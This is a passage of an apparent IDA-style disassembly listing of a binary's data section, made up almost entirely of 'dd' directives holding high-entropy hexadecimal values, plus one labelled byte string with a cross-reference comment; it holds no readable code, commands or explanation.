		dd 6833715Eh, 0B49090h,	948F4174h, 0D1180B9Ah, 7DCEDB00h
		dd 0B8FFFABCh, 7183E0D2h, 5F1600DDh, 0D1CF5E0Eh, 67E61776h
		dd 0CAC780C0h, 63F364h,	0B2E907Dh, 0D351B1DBh, 0D1066A70h
		dd 92086218h, 4E7798h, 9419A811h, 0ECA220Ch, 0E81BD906h
		dd 9D0760Ah, 7AF8B8BCh,	0C2921484h, 80E0C30Dh, 6A2C66AEh
		dd 0B1007AD6h, 59C18E45h, 21AB0BD0h, 48804850h,	0C9F73BEh
		dd 84030490h, 0DE6A72D4h, 0C11CC0C2h, 9D3B12FFh, 55180FB9h
		dd 9397C8E5h, 40E85858h, 0AF49E76Dh, 6E8AC048h,	121EB868h
		dd 81464358h, 5C754A88h, 0DC019D34h, 42DBFC0h, 7C706B5Fh
		dd 53B41E3Fh, 600DC401h, 8810C084h, 98B1DDB6h, 0BDB97761h
		dd 0FAF1813Bh, 0FEB0DC8Eh, 0D703CDE4h, 0CB308C3Bh, 425090DDh
		dd 32AC00B6h, 90436B28h, 0B21D9CF8h, 0B782228Ch, 801FF0BBh
		dd 230898A3h, 0EA5A0051h, 28F65D21h, 0C1004809h, 80C24DD0h
		dd 90B050A4h, 7DE00F49h, 4781D907h, 22F26F54h, 0C55305B4h
		dd 0FA828803h, 40D492DFh, 0E28A9924h, 39E6009Eh, 0CCE57EAh
		dd 5A5418BDh, 0AE40E1CCh, 0A1550029h, 0C185FC8Eh, 4417B0ECh
		dd 4C073C6Ch, 0B7B10F66h, 6DD4534Dh, 0E94A1290h, 90DC515Dh
		dd 9C6C8800h, 52BF1BBBh, 0FC831207h, 850E2E7h, 1F76CD11h
		dd 4020DE9Ah, 1E9BE067h, 60249CD5h, 5000EC90h, 4D272EB3h
		dd 0C7690A6Dh, 3955A74h, 18CA6CCBh, 0B160FFF0h,	0E879C02Bh
		dd 0C9C64180h, 0BFB823Eh, 0A1290BBFh, 0B00068A9h, 0CC27887Bh
		dd 3CCD7200h, 0E435BD1h, 982200FDh, 16F3EA5h, 871E0B2Dh
		dd 0E200272Bh, 81FD8D3h, 0FEBA001Ch, 9C369772h,	0E11C8702h
		dd 9EC032C4h, 5108501Ah, 0D97D1DE7h, 0DEB381FBh, 0B8A2B096h
		dd 0B28380D0h, 543C76B5h, 0C8D75C7Bh, 0F9AF800h, 780BA290h
		dd 0AF022675h, 621A89EAh, 0CEA040BAh, 93591E05h, 4BBDBF34h
		dd 0D887000h, 5657A97Bh, 0ACDC2901h, 6CC4467Ah,	48F09430h
		dd 9C00C48Dh, 414FF713h, 0D40096D9h, 0A667B3Dh,	12E1E5E6h
		dd 90C5B5F1h, 4EB0C10Ch, 0BE220E00h, 9F385206h,	804C48F5h
		dd 0BA331150h, 0DBA500D4h, 0E0AFE5Ch, 341FA0CAh, 0BE00B5BFh
		dd 4C5A2AD4h, 0ACA415ADh, 0DF00D4CCh, 0AFD02E1Fh, 42243DC9h
		dd 0E1000C9Fh, 76C6C72Dh, 5E0F000Ah, 0FA9D9829h, 610027BCh
		dd 293CCC1h, 0B31E3Ah, 32F8919h, 97C5FA09h, 7EE46200h
		dd 0BB76B28Ah, 50CC92A8h, 7B54A07Bh, 38671575h,	1128B039h
		dd 53A60797h, 30A0971Fh, 334B132Fh, 0D4C6F600h,	11CCD3AEh
		dd 9A980019h, 7AE6993Dh, 0C37D5FEBh, 23AB703h, 0B0EA6DF8h
		dd 6A7615h, 0D10AA51Fh,	3D4E9543h, 64B1A100h, 0A2AFEB01h
		dd 2CE00DCh, 0C7818EC2h, 4A1624F7h, 4C017FAAh, 0A03EA421h
		dd 3CDAD5DCh, 2EF313F4h, 1CC3DADh, 0B5090D97h, 0A4747043h
		dd 0DC0E671Eh, 8FB68300h, 82C1Eh, 89D16485h, 95252AAFh
		dd 42203900h, 7177F368h, 14DF0036h, 6FE6C3A0h, 0E4F89FB2h
		dd 222C513h, 53938047h,	3EFF2430h, 45F81DDBh, 5F4D4006h
		dd 79DC9049h, 0E605017Ah, 76C2BE87h, 0B297DC80h, 6DAD03CFh
		dd 0F790E32h, 9551390h,	6F68C758h, 0F8091214h, 0FC47475h
		dd 0FC0603Ah, 0D21891CFh, 3EE2E500h, 271137C8h,	0F55600BFh
		dd 0FDDAAC5Eh, 6700AD9Ch, 16C742D8h, 9727D3h, 0ACA50A7Bh
		dd 8D41EE9Eh, 15602150h, 0A0CAE127h, 7907D288h,	45CCE5EFh
		dd 980A0097h, 29083954h, 360FE87Fh, 8E07F5A9h, 0E8F205Bh
		dd 86CDE4h, 5A5E173Dh, 1AD8EA24h, 8CD15F02h, 609837EDh
		dd 3DABC72h, 0FB91CB05h, 0BBD3E5DBh, 996883BCh,	2B9889E8h
		dd 0F9710300h, 8DB33B4Dh, 9EF43AE4h, 0A0B03287h, 0D6B1ECECh
		dd 111863Eh, 2736BB82h,	48846B80h, 0B01D5FD7h, 0C000F7D4h
		dd 0A58BFD15h, 60FB21D0h, 0C6E6E08Fh, 30D2A43Ah, 0E5014400h
		dd 0D977D8h, 0E60DE236h, 7D65B2D6h, 1ECACE07h, 0BD57E402h
		dd 54E18240h, 0DECB3B8Ch, 15E0117h, 59ADE6B3h, 3D92C04Bh
		dd 47BCE02h, 0C3059CB5h, 51B2C8B0h, 82950454h, 904994F4h
		dd 2D03B3E0h, 23D06061h, 4068FFBFh, 36D4DB00h, 46EFD175h
		dd 79934F00h, 0EA7EB543h, 6F6058F7h, 23A8F300h,	532A0A39h
		dd 3A1AAF03h, 0A0C0C6FEh, 0FF960DD7h, 1F93D3C8h, 7AA7D4Fh
		dd 0C0F89147h, 1EFE5F01h, 0DFB818C0h, 0F8326BD0h, 0EF3C0168h
		dd 0D2721157h, 8EA8F5C6h, 4ABF10h, 2E39219Bh, 1D181D65h
		dd 0F0141C9Fh, 666FD820h, 0AE00FD78h, 88C4400Ch, 2544460h
		dd 0E60EF7B8h, 82612583h, 3D57DC7Ch, 0C3787907h, 58C69C90h
		dd 62EE0069h, 3D52B794h, 0C00BCF1h, 0A125393Ch,	0DF2B6749h
		dd 7B9C0338h, 0B2E2824Fh, 0BCB71840h, 0E0F741CEh, 1CCD909h
		dd 690D18B6h, 0C01308D8h, 0D36120C0h, 14F950Ah,	3E42BC07h
		dd 0F3A12EB5h, 6204103h, 9B04A580h, 0CEAC0F0h, 62E80087h
		dd 83A8AD3Dh, 0C00F8E94h, 60D6857Fh, 60707B65h,	4E6F3D73h
		dd 12154881h, 0FFFD1B8Ch, 725C01E0h, 0D5EA2800h, 0CBB7A786h
		dd 0BAC80083h, 492DA264h, 0FC005DC7h, 171169B0h, 0E35FBFh
		dd 604BE14Ah, 0CF569C7Bh, 38FABA00h, 487EE7C4h,	0E27420h
		dd 9C791896h, 8ABAF083h, 0A1CD0601h, 0D0E154A6h, 0F493B6F0h
		dd 697C6Eh, 0ED450873h,	5ED4493Dh, 0A500B7E8h, 5AC701BCh
		dd 10FC38Ah, 48228D45h,	2791AD4h, 9A846070h, 88DE61h, 591E8DAEh
		dd 5F079EBCh, 5AD094A4h, 1215846h, 0E51C2DD3h, 0F179D6A6h
		dd 0C0E3CD17h, 6E0021D7h, 99149BDh, 75372F1h, 501C456Dh
		dd 0C3405E84h, 3821644Bh, 0F01D80C1h, 9886C4D1h, 90157F54h
		dd 94DC3F00h, 3668C8ABh, 1B7B0EDEh, 8B60E181h, 0AF2BFBC3h
		dd 79D37F07h, 4E22D7BAh, 0B79E8023h, 1DD74E5h, 5E6CF43Eh
		dd 0C41B8126h, 1714D935h, 1EE0195Ch, 0B01D3485h, 0BB4004A9h
		dd 0D6F5A0h, 0A206559h,	365ACF9Bh, 24C97800h, 4FC4427Ch
		dd 603F1F2Fh
		dd 34839B2h, 68DB0977h,	0C781F3CEh, 801CA5E9h, 0B7499912h
		dd 950237h, 98B94807h, 528894Ah, 0B2BFC000h, 16A9067Bh
		dd 1DD60063h, 231FBE27h, 0DFE8026Ah, 8EE91800h,	96AF64DDh
		dd 0BC4E5C19h, 805D221Fh, 5B9841C7h, 0C40EB1BDh, 20081412h
		dd 85A2397Bh, 0B5FA0054h, 0F153C274h, 2B00DEFEh, 0C0AB87ACh
		dd 0E293ADh, 9D2FDC8Eh,	53A17DF3h, 1F82B600h, 229A992h
		dd 0BE140052h, 0A50EBFD0h, 3038AEFCh, 233C8131h, 34CB6F45h
		dd 137F807Eh, 0A548CE43h, 0AA0077B9h, 57E874F7h, 9AB8BCh
		dd 0BE8EAEE5h, 0BD31BAD3h, 0A4C95301h, 307958A5h, 614C10B0h
		dd 0DD039E59h, 6B09EB2Ah, 0E670C0DEh, 51550014h, 8878CCEFh
		dd 540052F8h, 60762C02h, 0A0FB4Eh, 9EE2E8BCh, 30C02953h
		dd 4AE55500h, 0D132129Dh, 2DBFCD9h, 0FECFC4E4h,	0F4A0D215h
		dd 47C3F790h, 2028316Eh, 3DB77D92h, 1BB80374h, 164B26C5h
		dd 0CD4340B8h, 6C5EDA1Eh, 0A042798Eh, 6194DB14h, 0A12B079Ch
		dd 30E57D67h, 669996Eh,	4218CF00h, 81BBFB53h, 10D16061h
		dd 5FB64180h, 17008AFEh, 0FA98EEBAh, 46C0E7h, 8E8031CBh
		dd 0F9A6135h, 0E6A3Ch, 0CFB57C88h, 21446Ch, 0B059E25Fh
		dd 30C84004h, 66A02900h, 0EF28382Bh, 0F0FD0074h, 0A3BF6414h
		dd 0A800817Ah, 6F2A20D8h, 0F21552E9h, 0C0DAFDC6h, 754CF3h
		dd 30B690A2h, 1F89168Dh, 134EC707h, 1CF0D95Dh, 609B694Bh
		dd 0BB3040EDh, 7D00051Fh, 13F3A587h, 103EE0h, 40735496h
		dd 95A3AFC1h, 0AA9C4B00h, 421FEC90h, 469E2EBAh,	0FB41E95h
		dd 0B180EBD0h, 3743C2A6h, 9FD76007h, 0F0E0CE05h, 0B0E7CAE3h
		dd 2C420471h, 0AC624DB5h, 7C2F007Eh, 33AD1353h,	0D1EC00FCh
		dd 0B23A1286h, 0B90E79B4h, 0C0215FA8h, 0B1E218F5h, 12A07D07h
		dd 0D3A1B3h, 374D2520h,	7AE2A8D4h, 52A51600h, 0E241C53Ah
		dd 8A650CC0h, 0CFD6BE99h, 7A3C4800h, 210B692Ch,	34893A1Dh
		dd 5D2E5B01h, 7031E7B2h, 0C61ECE78h, 0F47BF9F7h, 946A2A00h
		dd 9E5B84F3h, 7D080459h, 90DDB7B4h, 30C7A960h, 6DCF81C0h
		dd 1A653F6h, 0ACA1BAB3h, 0F161CA85h, 8F83001h, 0C8006C7Ch
		dd 1CF53D03h, 3B0B62Ch,	0C5E20690h, 0B80039F2h,	6613768Dh
		dd 0F824Bh, 852B5FE3h, 0A7316508h, 3B6ED318h, 0E69FB128h
		dd 56D613FEh, 3180495h,	0C670C06Ch, 0E41EBB64h,	0D183165Fh
		dd 0D07B0A21h, 9B3310h,	4A31C3BEh, 96A63E82h, 0D89DDE0Ah
		dd 4580E847h, 32CDB383h, 5C39FACCh, 0C30088CAh,	4FD8A15Bh
		dd 0F7074ECEh, 0A4850BABh, 2138C8A0h, 94AE2EBEh, 0BA3D0374h
		dd 0B1F70E29h, 0D434F86Ah, 3EF05BB3h, 9D7AA900h, 0C559CE69h
		dd 0AEC61h, 0C9F0E257h,	9F1BA089h, 0F15D861Eh, 99003B13h
		dd 30674F60h, 908E78BEh, 9D6E0012h, 65AB8A4Ah, 0F600550Dh
		dd 86FE2335h, 2C0F0258h, 0F5A81h, 0D14140EBh, 510052A6h
		dd 0E2433DDEh, 4C1FBFB4h, 0FD1310DCh, 57D90088h, 94A50C0Eh
		dd 8404E700h, 6A998943h, 0DBF90085h, 0C99AA411h, 0AB1D20C6h
		dd 26C05FB8h, 0BE6EE580h, 1C58004Ah, 0AECB2504h, 3106C75Ch
		dd 0FA229D17h, 5720040h, 67948ED8h, 0B40FE7A5h,	8089FFD4h
		dd 2BEFF15Bh, 59AA00D0h, 3D824D6Dh, 8D30EEB4h, 88F0A05Ah
		dd 6AF8004Ah, 96899FB7h, 0E20322CBh, 585EC7A5h,	5DBC095h
		dd 0BA2C0FC1h, 9E033249h, 77C00928h, 0B17C806Ah, 6B54B300h
		dd 31B24056h, 16B9092h,	0C061A74Ch, 247F8403h, 81179364h
		dd 5400E6AFh, 0A538C114h, 8044000Eh, 5C9A33Dh, 6DE639A1h
		dd 8D3B9D00h, 2998A6D2h, 7F7D00C7h, 0BF28EAB7h,	47622F38h
		dd 0C03501C8h, 0B16E8Eh, 8F823776h, 103F4012h, 4B132800h
		dd 58E7303Ah, 27200573h, 1D380245h, 0A7FE80C9h,	9CED2201h
		dd 5769CA07h, 86D07578h, 0CD93B5h, 449BABD6h, 298DB08Ch
		dd 57A47000h, 90C6E12Eh, 1FDE001Dh, 877CBCB4h, 0C2169612h
		dd 33000AE3h, 6DE8214Bh, 0D69D097Eh, 3FCD8h, 20C78C31h
		dd 14855E7h, 0E073E300h, 0ED8E8891h, 79590022h,	0D63C8D7Dh
		dd 0FE00581Fh, 9548BEACh, 1C1E4F33h, 0FB2DB793h, 0DA39C182h
		dd 0E0F7E0FDh, 0A5EEBAh, 0DB478F0Ch, 46E1655Bh,	0A24E700h
		dd 38CE2CF8h, 28C03F6Ch, 0F471448Fh, 5887A900h,	250022A6h
		dd 0B6F5645Fh, 79D7F68h, 0DC26E613h, 5191D0CDh,	0D105403Eh
		dd 1532B308h, 8FB080C0h, 98E0FA0Ah, 3A6179B6h, 7100F625h
		dd 18749D9Ah, 0DB008309h, 5F03D6BFh, 147649A1h,	546AE3ADh
		dd 5FDDA9C0h, 0FD006BEDh, 0B5BF7BB3h, 24066376h, 80A04D41h
		dd 15C0BBA6h, 0F0396D2Ah, 7A738024h, 287260A7h,	59DF00E7h
		dd 614EC003h, 5D1FE34Fh, 0A871C90Ch, 2442EBFBh,	806602Ah
		dd 0A48E00A0h, 6A42A6EFh, 68901AADh, 0EAB40400h, 0D9960351h
		dd 0C3E724Eh, 0D530E772h, 0E8025060h, 0C85CCA94h, 1EFCE015h
		dd 9B1A3069h, 2CE93081h, 60879602h, 0C078A8D2h,	7B10D0FDh
		dd 380D3080h, 0E0537048h, 0D990CA60h, 522CDDh, 95A49B60h
		dd 30A62DA5h, 0C361C96Eh, 0C06A259Ah, 1D7D87C1h, 83C6DACAh
		dd 0CCC50C1Fh, 6CBE5798h, 4F95C00h, 0C98B348Ch,	0B5420077h
		dd 3E726AD2h, 7877E2FDh, 2E16F707h, 0F1C05D7Eh,	0FB4A59Dh
		dd 0DDE062Ch, 20B9D5E7h, 0AA98C60Eh, 73BC4A00h,	0D3DDD049h
		dd 0E67200A6h, 0D4240390h, 7000122Dh, 70C5705h,	0E80B3A9h
		dd 8C331471h, 90406FA9h, 0AA712E29h, 63B254C5h,	0F6E03F87h
		dd 0AC5C15h, 0ABD9E1A9h, 1216C949h, 7B3D45E2h, 2DD01F33h
		dd 9B9EAE01h, 14F056E3h, 0B41A5C9Dh, 60E56605h,	0B85E98h
		dd 688119D4h, 6D5CB153h, 6C091DFEh, 30DACC0Ch, 78371F7h
		dd 1E5AC80Fh, 0C421701Dh, 0C4A88C66h, 0D800C634h, 64B071Ah
		dd 18ACA575h, 60031DBCh, 2754EAC2h, 280079C4h, 96A2EDC0h
		dd 9583063h, 0C4036E8Ah, 0B6D3A0A0h, 6100B4C7h,	0F0B8BF45h
		dd 0A20AF9h, 0CFDBD1D0h, 9C144FA4h, 6B7A8990h, 0C4624501h
		dd 2DB871C1h, 0BA651080h, 46EEBD84h, 0B28A4300h, 75CE3C52h
		dd 1FAFEE2Ah, 1E8445B0h, 404BC003h, 0B9972491h,	903718C0h
		dd 31F6F3h, 0CB8FE514h,	103DDD9Dh, 0D979A40Fh, 93C7436Fh
		dd 45B7801Bh, 1D7002Eh,	56BAD1AFh, 0C4B03A42h, 0B94C47E4h
		dd 717430F9h, 176ED08h,	68AE6436h, 0F0B80EE7h, 0F700532Ch
		dd 0F585B125h, 951488h,	1B9E435Dh, 6C9F8BAEh, 0C317BF01h
		dd 2653B7BEh, 550F1980h, 0A0D8F412h, 0F8ACE3Ch,	1257602h
		db 31h
a?baSDaziU4csiX	db '?B(֜S}z',1Bh,'U4>]',0 ; DATA XREF: ___:0042CC94o
aSRza		db 'S;R',0
		db 67h,	6Eh, 78h
		dd 64014338h, 5B800045h, 70D47E0Ah, 7B739CC2h, 0C59D860Fh
		dd 6F478019h, 3956A401h, 0F20035A0h, 2B73FC93h,	0D90011FFh
		dd 6544B676h, 3EBC9A2Dh, 0A00029F0h, 0C55B7B2Ah, 963EB1ADh
		dd 703B01A2h, 5C82E187h, 0DA606671h, 4CDF1D7Eh,	424B4133h
		dd 80492770h, 0AA288E20h, 796476E8h, 0A40C091h,	62AEA4EFh
		dd 0FD245B00h, 0C1C29CCBh, 79D7007Ch, 0A3145146h, 0FF0C8FF0h
		dd 285EBE94h, 6BD40C44h, 70909FBCh, 0A753D200h,	0E8AFDA25h
		dd 0EDFF1FB9h, 81B180F7h, 859384F2h, 2F61E1E8h,	0ED23FC80h
		dd 48B5ECh, 71E2397Bh, 0D0D78F28h, 0F35B7903h, 1E1AE04h
		dd 0CA377878h, 9D440566h, 0A9809710h, 0D1EA23B9h, 9C800E3Bh
		dd 25208B45h, 0C27AF118h, 0CE92530Ch, 0BB4888h,	37A8D33Eh
		dd 0A98CD263h, 17942A07h, 870E97Ch, 0D7431h, 475DC269h
		dd 50905F77h, 0FFE26650h, 0D93D9701h, 1687F134h, 12D56BD4h
		dd 7852E9h, 0FDF51BD1h,	0E5003581h, 638AC6B6h, 3880DF2h
		dd 0D61579F6h, 269054B5h, 0FC00439Ah, 0A0444A49h, 72D1A3h
		dd 0C73A1E1Bh, 4D52C1D2h, 50FC800h, 29078856h, 0AB160340h
		dd 3D4CCC50h, 7726C1B8h, 17BE7E01h, 0AFB368B9h,	67A5E0FFh
		dd 0A3CC0021h, 0EC45E451h, 70F9441h, 81BC6C0Ch,	3282A759h
		dd 0B014F0F0h, 66A2008Eh, 0AC79C98h, 43003DB6h,	0B3B50360h
		dd 38746D62h, 0C015C68h, 6FA92E44h, 0D6CE8BCh, 0E7EC4890h
		dd 0DEC87600h, 208F4031h, 692148D0h, 0C97FDA00h, 0A5BED5DFh
		dd 0CEDD1700h, 70A1870Bh, 0EE5A00DCh, 27212C16h, 1F07A5BBh
		dd 0CF3C7F6Ah, 0D798D8B0h, 75850010h, 2C362A20h, 5403B04Dh
		dd 0BD5AAE29h, 0A428393Bh, 0A310D620h, 0B9112FDFh, 0C87500ACh
		dd 0B016D14Eh, 8351DC97h, 2C34FDCEh, 1BE9B1h, 813D1676h
		dd 5B3C417Ch, 0F129887Bh, 89C18CEAh, 8F4468A1h,	29DD64E1h
		dd 8384203Dh, 16C81443h, 550828F4h, 0E9100F24h,	426FAD83h
		dd 86C02811h, 0FE9D7108h, 850B514h, 14F91D99h, 652814CCh
		dd 0A0E11028h, 404C1819h, 808BF8F1h, 0E600346Dh, 0B75CFD32h
		dd 711AD3h, 7F470F90h, 0D7EE3A9Bh, 0C3C59500h, 747C2267h
		dd 9C650292h, 545CE305h, 0AB4B4260h, 0AACF450Fh, 0D21A2062h
		dd 7E975BD7h, 0E8270BB6h, 0AB006B04h, 0E484BFCFh, 0DB0081E6h
		dd 41356F63h, 2CBB1187h, 7EEBD97h, 0B02AB755h, 9E1A43DDh
		dd 0A583CB02h, 6018922Bh, 0E1613Dh, 56B3E79Dh, 46A0C034h
		dd 0A700CC90h, 4501E994h, 3BA6A8h, 3AB28007h, 0E2CAD188h
		dd 9BEB4F00h, 0ED876563h, 8CBE1CFBh, 0C07316ECh, 89DAF7B3h
		dd 0C7307F00h, 75B8EB60h, 0FAD206ECh, 3146BC1Ch, 95ADE300h
		dd 7657EADEh, 23E0002Ch, 0A7184E97h, 0E973817Ch, 1C6BB209h
		dd 0FE18A044h, 3EF241A5h, 7980F9FFh, 4F8B493Ch,	940E5E13h
		dd 0A0D5CA01h, 92EA2C7Bh, 864C0046h, 0DD0FE936h, 56EE7E66h
		dd 6B00FBF0h, 0D49AF508h, 396094h, 0BDBB32A9h, 0B143282Eh
		dd 511FD700h, 85804ACBh, 8D8800B7h, 40453F86h, 4F058EC2h
		dd 0B2874BD7h, 16272E80h, 0C910766h, 60C50137h,	0A8ABD855h
		dd 7B8DF500h, 0A041DE09h, 7C750072h, 2438738Eh,	900FC35Eh
		dd 809AA2BAh, 0FAE8968Ch, 5067BDBh, 0B8ABBE35h,	58F80120h
		dd 0E423F43Dh, 1817386Bh, 8B1E1BB6h, 9703C240h,	228AD1h
		dd 0DB473517h, 52430445h, 9D96E600h, 0A5A3237Bh, 0E05D000Dh
		dd 7E6F3DEEh, 2700AD48h, 5E57F7A4h, 744ED1h, 0B8AE8518h
		dd 1A8B717h, 51ECA202h,	606299C7h, 0DC1A30h, 0B84938AEh
		dd 0EB151269h, 7D9C9700h, 0B08DD56Ah, 0B7707Eh,	0BDC95194h
		dd 0C091714h, 0D5387D1Eh, 46ADF300h, 0E27FE085h, 54A60015h
		dd 412FF124h, 0EF001CD4h, 0A483FA81h, 1C868B77h, 8EFF4591h
		dd 3CA9346Ch, 0C07C000Fh, 7204409Fh, 7607F5CCh,	0FDB2CEF4h
		dd 662FE7D1h, 0DA8038C5h, 0F18350FAh, 230095C5h, 0DCD3E0BBh
		dd 14AAC39Dh, 0A4B23882h, 4B650800h, 562F7BA3h,	0FE795C00h
		dd 0EDE55759h, 0D5903F31h, 0B82A640Fh, 808A1027h, 609294D6h
		dd 0E9A2E300h, 0C89537EBh, 0B3FB0AF8h, 7D47AEAh, 301FC9D3h
		dd 0BF7C634Fh, 7EECAC00h, 196F0B8Ch, 0DA3A00F6h, 7A895893h
		dd 36001690h, 262DE752h, 9B19F0h, 98C64866h, 95443365h
		dd 7B001EF6h, 6F1DD90h,	14DEEDFh, 40FA41D0h, 0FF391758h
		dd 0B14EC9D8h, 90B29800h, 89614806h, 1D65983Fh,	0F32E554h
		dd 7460DB58h, 0F216EFD6h, 6300F573h, 8BAB106Ch,	72FFE64h
		dd 1D057753h, 9D62703Fh, 0B828CCFFh, 0C67DFCABh, 2BD8E800h
		dd 463D6D36h, 0E24801FEh, 515D6953h, 94D5403Ah,	7D14DAD8h
		dd 0F71912h, 0B51893F0h, 8F7A50h, 1B960B8Bh, 0CE5DA96Ch
		dd 2C2D0D00h, 2B193B03h, 753201EFh, 0E46A9B6Fh,	0ECF2C199h
		dd 0A80082A2h, 790F7194h, 70E66D7h, 2F4473EBh, 0BBA1F0F1h
		dd 0AB1E6E60h, 80F95C17h, 64285A76h, 0B51D9Bh, 457DFC4Eh
		dd 0CE19AA8Eh, 0C03D9971h, 0ED2F8057h, 0B9F48105h, 0A06900D4h
		dd 0F860464Bh, 1B0047CDh, 62A6D88Bh, 15881E6h, 0BCDF7C43h
		dd 2B7A1FF6h, 0E1EF7E0h, 0D2F1D11Bh, 7260794Fh,	125C8B15h
		dd 41163224h, 949B0103h, 0F7683F62h, 9AB8D403h,	0B7C075B6h
		dd 0B0006B49h, 723F94C1h, 0E1E93Eh, 18D61E0Bh, 54ABD7ECh
		dd 2FAFFD00h, 0A8F6517h, 94CE2F4h, 0E1C756DEh, 0E0887020h
		dd 0AA0142A1h, 73EAD4ABh, 36303059h, 7587DB0h, 0DC6C5C2Ah
		dd 1060300Ah, 5115136Ah, 63F485B8h, 88DAD0C0h, 57162Ah
		dd 4350FB8Eh, 0DC2302E0h, 74A05E01h, 0BC0F7AC4h, 7E0DC8h
		dd 0F0CEA57Ch, 37ACF920h, 2B1C8F00h, 0A35DA255h, 8A4B0091h
		dd 5C9E621Bh, 8B073816h, 0FD151FF7h, 0A0012360h, 0B18100D9h
		dd 4EBF0958h, 6A705CE5h, 215AE81Fh, 1B00F1DEh, 0EE93DF8Ah
		dd 0C0580089h, 0FE0B5962h, 9F0006D4h, 6CD8D733h, 0A71597h
		dd 0ED02A46Bh, 0A95C9B7Eh, 0DD2CAB00h, 4FD75032h, 73E70748h
		dd 70193D6Eh, 64E08117h, 0E86A4A00h, 6D88B139h,	337B4C95h
		dd 0C887CE04h, 69C0FFB5h, 0B037EAB9h, 0E1A03A46h, 880CE609h
		dd 4EFB880h, 0C0004E14h, 0A59668F9h, 0CDB3EDh, 7EC755ADh
		dd 0B20563FCh, 0BC2F5B07h, 0F5314CD1h, 0ECF8BB51h, 6C290036h
		dd 0A521815Eh, 7C38466Ah, 0CE2680CFh, 0E1A2F4C4h, 0D9DF35D3h
		dd 853A00F2h, 2270F845h, 406C500h, 0FD87405Eh, 604C0082h
		dd 54DFE681h, 4B00CA27h, 967A01CCh, 0F0A36CFh, 0F8ED8A8Eh
		dd 5A2B4CE2h, 0E8105760h, 92B039h, 243171BAh, 0A8375h
		dd 0D6C4BFB9h, 1FE45AC5h, 56892200h, 0BE1A8B19h, 41EF0099h
		dd 8229125Bh, 5500D047h, 10E3B1F6h, 76AED2Ah, 7969AB65h
		dd 823D80CAh, 11045DE9h, 0C67E3813h, 69EECCC0h,	545A0010h
		dd 636F9D1h, 210045A7h,	0C3CBFEC1h, 173AD24Bh, 0ED5D6Ah
		dd 9F93B566h, 28000289h, 0ACFD9CBCh, 0F90FEEh, 0EB1D917Dh
		dd 13C0FEB5h, 3DE6DF0Bh, 0E5C100EDh, 49B66Fh, 19FA5707h
		dd 0D3C3698Dh, 60809119h, 0D8D8AF1Eh, 428F03F7h, 54663845h
		dd 5BA3F0DFh, 0FB3A9E29h, 0E4510F83h, 58E81DAh,	66F43A69h
		dd 87E1E71h, 3EFB400Fh,	785B301Ch, 0B30ED4B8h, 0E75A9EC0h
		dd 69605F0Ah, 7F3DFBh, 6F798458h, 0C412D263h, 811E2900h
		dd 6EEFE9F5h, 0E45D018Fh, 82A5BB79h, 6440C262h,	76007CF1h
		dd 8577A91Dh, 0D81B09h,	0C49BFAB7h, 0EF24720Dh,	8042443Fh
		dd 0A82B8D4Eh, 5EE981Dh
		dd 0ECC1D7E9h, 0FA5C09Fh, 0A03D81Ch, 5C09B44Fh,	4B7BD85Ah
		dd 0B971008Ch, 415B8AE5h, 395CDE9Dh, 0F8801D95h, 0CEE740C7h
		dd 144F160h, 0F5F25888h, 61C34E00h, 79FF1209h, 810E6700h
		dd 0B6C07E16h, 0A37B00ADh, 4A5F642Ah, 30381566h, 7E360F02h
		dd 0EA3D406Fh, 4F325h, 0ECBFB803h, 67FA6308h, 39445E03h
		dd 0F4E55C51h, 6C7AB980h, 63A900F3h, 42717A1h, 2500352Ah
		dd 72DE62A3h, 716D6F73h, 15714D1h, 85039CB7h, 5B5575B8h
		dd 6931CD0h, 2E56F500h,	42385940h, 0AD900C1h, 371A7D5Ch
		dd 0A51693D0h, 8E00D3B2h, 7FC2C7FDh, 0D8949Fh, 0A5BA0613h
		dd 4E00D3CBh, 89FFA268h, 5FFC4Fh, 0E2F5993h, 0DAE963D5h
		dd 22169860h, 0B86D16AEh, 0B73C001Ah, 774EEFB2h, 0A65C95CCh
		dd 809200CDh, 1E8179Dh,	869E0791h, 0B0779C32h, 0A7EB7DF7h
		dd 1660E300h, 9FD3A6F4h, 4CCE140Ch, 7902A25Ah, 6F5ED1DEh
		dd 0D4EFD1E0h, 0E39D9300h, 0F23B9086h, 197502D7h, 2C8E76F0h
		dd 0EB0D9180h, 570018AEh, 0E26EA9B4h, 89AAF9h, 0F3F1E3DDh
		dd 56692FD7h, 4FFDCD00h, 0A4A610B6h, 43890247h,	3DE725AAh
		dd 12BB00FDh, 9D5D51h, 0BC41BAEFh, 3EE2A31Eh, 0EF54C4Ch
		dd 162399C7h, 0E0A1540Fh, 3B711793h, 6B651E8Bh,	785A58A7h
		dd 3A007B5Dh, 0EC9A05F8h, 941A85h, 0B7EF37Dh, 0AE8C0146h
		dd 90AD3E03h, 0A9BA0D3Dh, 0D8D40C7Ah, 57930223h, 6562E4DFh
		dd 0D7E61FC0h, 0BF0030B8h, 0F7C5A2CDh, 39552EFh, 0AD1A4C71h
		dd 9600ED9Eh, 0F2B4C246h, 70B1B21Fh, 0EA6301FCh, 9C15B8B0h
		dd 0D0CFFC22h, 24000898h, 280C79D6h, 16E51150h,	5F4E49h
		dd 8FA2FF34h, 0BC003490h, 0DCCB974Fh, 50DAA918h, 91F599h
		dd 0D0AAD332h, 5BD1B05Ch, 3CB00448h, 0E1A100A9h, 0EC663C29h
		dd 0C9AA0055h, 6804DA93h, 0CF3A8012h, 0A7CB0021h, 9CD5CD06h
		dd 0CA8F1FCCh, 4AD6417Dh, 60A27EC1h, 0BFE04669h, 21477B00h
		dd 5FE41DD1h, 4805C90h,	0C5609BCEh, 1E47B207h, 670C7F00h
		dd 1688C1DAh, 2C7C2E4Dh, 26B70052h, 0D4F04791h,	0A633B101h
		dd 0D732E152h, 1E15D870h, 0AC1CB805h, 82950364h, 0A1A08AB4h
		dd 0DD181845h, 0ABD2EC8Eh, 54E051h, 395B22CEh, 0D937A443h
		dd 8AF8BDh, 413127C4h, 383DDE47h, 0E524F600h, 6B85A0DFh
		dd 4EB6F29Eh, 1D0441D0h, 3D95193h, 3B81991Eh, 4DD89421h
		dd 0B05448AEh, 18D23300h, 913AF28h, 61FA1700h, 95DFBC11h
		dd 832E19B9h, 0E5ADFA3Fh, 0E9C60DEh, 4F545600h,	0A04E2913h
		dd 0B21B0076h, 5EFA40C5h, 262C60DBh, 400F595h, 0FF3C127Eh
		dd 758F004Dh, 6DA42940h, 21269C2Ah, 81028877h, 42BDBBDCh
		dd 6232C027h, 0DD6100D4h, 0FF65634Ah, 0DA0073C3h, 4782203h
		dd 4AC7507h, 0B8AD9F5Ch, 1BD8E02Ah, 2369E900h, 0F550F4FFh
